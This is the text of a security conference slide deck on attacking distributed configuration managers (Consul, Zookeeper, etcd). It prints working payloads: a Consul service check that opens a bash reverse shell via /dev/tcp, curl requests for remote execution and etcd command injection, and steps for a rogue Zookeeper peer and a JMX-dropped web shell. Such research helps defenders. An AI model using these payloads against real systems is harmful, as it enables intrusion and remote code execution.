The document discusses various aspects of Distributed Configuration Management Systems (DCMS) and vulnerabilities associated with them, primarily focusing on Apache Zookeeper, HashiCorp Consul, and etcd. It outlines different types of DCMS, explains how remote code execution vulnerabilities can be exploited, and provides examples of attacks and countermeasures. Additionally, it touches on the importance of proper authentication and security measures in these systems, emphasizing the potential risks in misconfigured or unprotected DCMS.

1. How we hacked DCMs?
Bharadwaj Machiraju (@tunnelshade_)
Francis Alexander (@torque59)

2. #whoarewe
◦ FOSS & Python guys.
◦ Incase you use OWASP OWTF/NoSQL
Exploitation Framework, buy us a beer.
◦ Appsec Engineers at Envestnet Yodlee (fintech).
◦ Mostly we will talk about some nice pwn stories.

3. DCM = Distributed Configuration Management

4. When dinosaurs were alive ...
Application
Server
DatabaseUser

5. Present day scenario!
API Gateway
User
Message
Broker
Microservice 1
Job
Scheduler
Microservice 2
Keystore
Storage

6. General Necessity!
◦ Distributed nature of applications lead to the
necessity of distributed configuration
management for simplifying the process of
▫ Maintenance of infrastructure.
▫ Synchronization of processes.
▫ Service discovery.

7. General Our Necessity!
◦ Look cool in pentest reports!!
◦ As other application’s configurations are present
here, it is a goldmine.
◦ And if you get to editing these configurations ...

8. Types of DCMs

9. 1. Ensemble Type
◦ Cluster of servers in sync.
◦ Queried by the applications for shared data.
◦ Apache Zookeeper & Etcd are popular examples.
◦ Sample Usage: Provide synchronization between
processes.

10. 2. Agent Type
◦ A lightweight agent in every instance.
◦ Agents communicate using gossip protocol (a p2p
protocol).
◦ Serf & Consul are popular examples.
◦ Sample Usage: Discover app instances and add
them to load balancer.
◦ Our favorite type :D

11. HashiCorp

12. HashiCorp Consul
◦ Agent type. Built on top Serf.
◦ Provides service discovery.
◦ Uses a microservice interface to a replicated view
of your topology and its configuration.
◦ Can monitor and change services topology based
on health.

14. Consul Agent (Master & Slave)
◦ Has client and master modes.
◦ All nodes run an agent.
◦ Stays in sync, interface with REST and DHCP
◦ RAFT quorum, who is leader/master.
◦ Handles WAN gossip to other datacenters.
◦ Forwards queries to leader/master.

15. Security Overview
◦ No Authentication by default.
◦ Enumerate Services through HTTP API.
◦ SSRF feature/vulnerability.
◦ RCE through services and event firing.

16. Some Interesting API’s
◦ Agent HTTP Endpoint
▫ /v1/agent/checks : Returns the checks the local agent is
managing
▫ /v1/agent/services : Returns the services the local agent is
managing
◦ Coordinate HTTP Endpoint
▫ /v1/coordinate/datacenters : Queries for WAN coordinates
of Consul servers.

17. SSRF With Join Endpoint
◦ Triggers the local agent to join a node.
◦ /v1/agent/join/<address>
Final Payload
http://localhost:8500/v1/agent/join/127.0.0.1:port.

18. Remote Code Execution - I
◦ Execute your code through events.
◦ Consul exec provides an interface to run these.
How does it Work
◦ Create session: PUT /v1/session/create
◦ Create Rexec event: PUT
/v1/kv/_rexec/job-uuid/job?acquire=job-uuid.
◦ Fire the event: PUT /v1/event/fire/_rexec

19. Remote Code Execution - I
Final Payload
◦ consul exec -http-addr=remote_addr
[whoami/payload].
◦ If disable_remote_execution is enabled then we
are out of luck (which mostly never happens
though !!).

20. Demo

22. Remote Code Execution - II
◦ Execute your code by registering as services.
◦ We could then leverage checks to get our code
executed.
◦ Services are synced and then executed.
◦ Once done with your work de-register and come
out.

23. Remote Code Execution - II
Registering a Service
◦ Sample Service:With Check
{ "ID": "http",
"Name": "http",
"Address": "0.0.0.0",
"Port": 80,
"check": {
"script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1",
"interval": "10s"
}

24. Remote Code Execution - II
Final Payload
◦ Use Curl
▫ curl -X PUT --data-binary @test.json
http://localhost:8500/v1/agent/service/regi
ster
◦ Check : dig @127.0.0.1 -p 8600 http.service.consul.
◦ Open netcat you should have your shell ready.

25. Remote Code Execution - II
Final Thoughts.
◦ If not de-registered, the service should be running
and you should have persistence.
◦ Deregistering is simple
(/deregister/service-name)

26. Demo

28. Apache Zookeeper
Because coordinating distributed applications is a zoo

29. Apache Zookeeper
◦ Ensemble type.
◦ Cluster of servers available to query.
◦ The name space provided is much like that of a
standard file system.
◦ A name is a sequence of path elements separated
by a slash (/). Every node is identified by a path.

30. It looks like (meh)

31. Hierarchical Namespace

32. Quorum Peer
◦ One server in quorum is called quorum peer.
◦ Each one has three ports open
▫ Intercom. ports (Default: 2888 & 3888)
▫ Client port (Default: 2181)

33. Simple API
◦ create/delete/exists node
◦ get/set data node
◦ get children node
◦ sync
◦ watch node
◦ Libs available in all languages exposing this api.

34. Auth?
◦ Optional Auth ← People are Lazy (Proof:
Shodan)
◦ Different kinds of auth are supported.
◦ No auth is fine, but if auth then we need a way.
◦ Next logical step was to dive into internals of zk.
◦ For that

35. Installed Eclipse & configured JAVA

36. Let us try Hey man,
where is
the auth?

37. Bits and Pieces!
◦ Custom binary protocol using Apache Jute.
◦ Only one vulnerability known till date
CVE-2015-5017 (Buffer Overflow in ZK C cli shell)
◦ But then ...

38. Hey, please
sync with this
latest data
snapshot!
Hi, I am
your
follower.

39. Rogue Quorum Peer <= 3.4.9
◦ Introduce a rogue follower to quorum leader
gives you access to data along with the auth info
for certain auth providers.
◦ So, whenever you want to modify existing data,
just resubmit the auth info along with write
request to the leader. KABOOOM!!

41. Demo

42. Why is Zookeeper important?
◦ Used in many awesome products mainly from
Apache.
◦ Apache HBase non related distributed db.
◦ Uses zk for synchronization.

43. HBase

44. Briefly,
◦ Every HMaster creates an ephemeral node and
backup masters just wait.
◦ If you can bypass auth and write/delete this
ephemeral node, you can add a rogue master.
◦ Give it time :P or force crash the old master for all
region servers to connect to your rogue.
◦ Extrapolation of CVE-2015-1836.

45. Briefly

46. JMX and Zookeeper are Buddies
◦ Zookeeper runs JMX by default but on loopback.
◦ Instances having remotely accessible JMX are fun.
◦ End Result: Chain set of Bugs to RCE.

47. How we did it luckily!!
◦ Memory can be accessed through JMX which can
be written to a file.
◦ We used Zookeeper to pop a php/jsp shell by
creating a node with our code as its value.
◦ Multiple reads of the node makes it available in
the memory.
◦ Dump to an executable location within the web
server. PWN !!!

49. CoreOS

50. Architecture

51. Etcd Basics
◦ Nodes get Connected to the Main Server (Cluster)
◦ Stores data persistently
◦ Takes snapshots.
◦ Like a directory tree.
◦ Uses a discovery URL.

52. Etcd API
◦ put key value
◦ get key
◦ del --from-key a
◦ snapshot save snapshot.db
◦ watch
Either use CURL or get yourself etcdctl

53. Inherent [In]security
◦ No Authentication by default.
◦ Authentication sucks if not implemented properly.
◦ HTTP Endpoints available at your disposal.
◦ RCE through un-authenticated instances when
exposed with a feature.

54. But it is 2017 right!!
◦ Users and roles implemented in Etcd>=2.1
◦ Auth can be switched on by enabling root
user.
◦ But ...
◦ Guest account gets enabled by default.
◦ guest users have read and write
privileges.

56. Use Case - Chain to RCE
◦ Etcd allows usage of watchers.
◦ Watch a node and execute commands
◦ We came across $ETCD_WATCH_VALUE
◦ We saw some pretty dumb implementations.
◦ Etcd does not filter values coming to
ETCD_WATCH_VALUE

57. etcdctl exec-watch --recursive /foo_dir/foo --sh -c
'$ETCD_WATCH_VALUE'

58. Let the request talk.
curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT
-d value="ls"
Pwn !!

59. Brainstorm!!!
◦ Requires write operation, to write to the key, and
we should probably have luck with monitoring
using exec-watch, which most people do !!.
◦ Etcd is being used in Kubernetes. You cannot be
more Evil.

60. Demo

62. Etcd is nice
◦ Some of the attacks, only applicable if instance is
not authenticated.
◦ You can add rogue members.
◦ Check for health.
◦ Get the connected members’ list.

63. Lots of DCMs Pwnage
Automation !!

64. Garfield
◦ Wannabe distributed application stack scanner.
◦ Currently supports DCMs - Zk, Etcd and Consul.
Written in <3 with Python.

67. Demos

68. References
◦ CoreOS Etcd (https://coreos.com/etcd)
◦ Apache Zookeeper (https://zookeeper.apache.org/)
◦ Hashicorp Consul (https://www.consul.io/)
◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html)
Ongoing Work
◦ Not yet broken auth providers in zookeeper.
◦ Kubernetes access through etcd.
◦ Other distributed systems using zookeeper.

69. Shouts!!
PhDays (y)
Wonderful folks of #appsec@yodlee
Kamaiah Nadavala
Ajin Abraham

70. Thank You!
Bharadwaj Machiraju
@tunnelshade_
blog.tunnelshade.in
Francis Alexander
@torque59
nosqlproject.com
github.com/torque59/garfield